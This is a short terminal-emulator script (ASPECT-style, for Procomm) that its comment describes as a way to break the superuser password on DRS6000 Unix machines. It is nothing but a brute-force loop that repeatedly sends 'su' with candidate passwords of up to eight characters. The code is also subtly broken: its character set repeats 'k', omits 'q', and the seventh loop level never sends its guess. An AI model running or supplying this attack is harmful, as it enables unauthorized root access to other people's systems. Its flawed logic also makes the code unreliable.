|
;****************************************************************************
; This program is used to break the SuperUser password in any unix DRS600 machine
; Usage: Run this script after loging to the system as any user.
; should use procomplus or Quteftp or some other tool to compile.
; This program is written by Mr. G.Pradeep.
;****************************************************************************
proc main
string mstr,paswd,p1,p2,p3,p4,p5,p6,p7
string tt
integer j1,j2,j3,j4,j5,j6,j7,j8
mstr="abcdefghijklmnopkrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_"
for j1=0 upto 62
substr tt mstr j1,1
strcpy paswd tt
strcpy p1 paswd
strcat paswd "^M"
transmit "su^M"
waitfor "password"
transmit paswd
if success
goto x
endif
for j2 = 0 upto 62
strcpy paswd p1
substr tt mstr j2,1
strcat paswd tt
strcpy p2 paswd
strcat paswd "^M"
transmit "su^M"
waitfor "password"
transmit paswd
if success
goto x
endif
for j3 = 0 upto 62
strcpy paswd p2
substr tt mstr j3,1
strcat paswd tt
strcpy p3 paswd
strcat paswd "^M"
transmit "su^M"
waitfor "password"
transmit paswd
if success
goto x
endif
for j4 = 0 upto 62
strcpy paswd p3
substr tt mstr j4,1
strcat paswd tt
strcpy p4 paswd
strcat paswd "^M"
transmit "su^M"
waitfor "password"
transmit paswd
if success
goto x
endif
for j5 = 0 upto 62
strcpy paswd p4
substr tt mstr j5,1
strcat paswd tt
strcpy p5 paswd
strcat paswd "^M"
transmit "su^M"
waitfor "password"
transmit paswd
if success
goto x
endif
for j6 = 0 upto 62
strcpy paswd p5
substr tt mstr j6,1
strcat paswd tt
strcpy p6 paswd
strcat paswd "^M"
transmit "su^M"
waitfor "password"
transmit paswd
if success
goto x
endif
for j7 = 0 upto 62
strcpy paswd p6
substr tt mstr j7,1
strcat paswd tt
strcpy p7 paswd
strcat paswd "^M"
if success
goto x
endif
for j8 = 0 upto 62
strcpy paswd p7
substr tt mstr j8,1
strcat paswd tt
strcat paswd "^M"
transmit "su^M"
waitfor "password"
transmit paswd
if success
goto x
endif
endfor
endfor
endfor
endfor
endfor
endfor
endfor
endfor
x:
endproc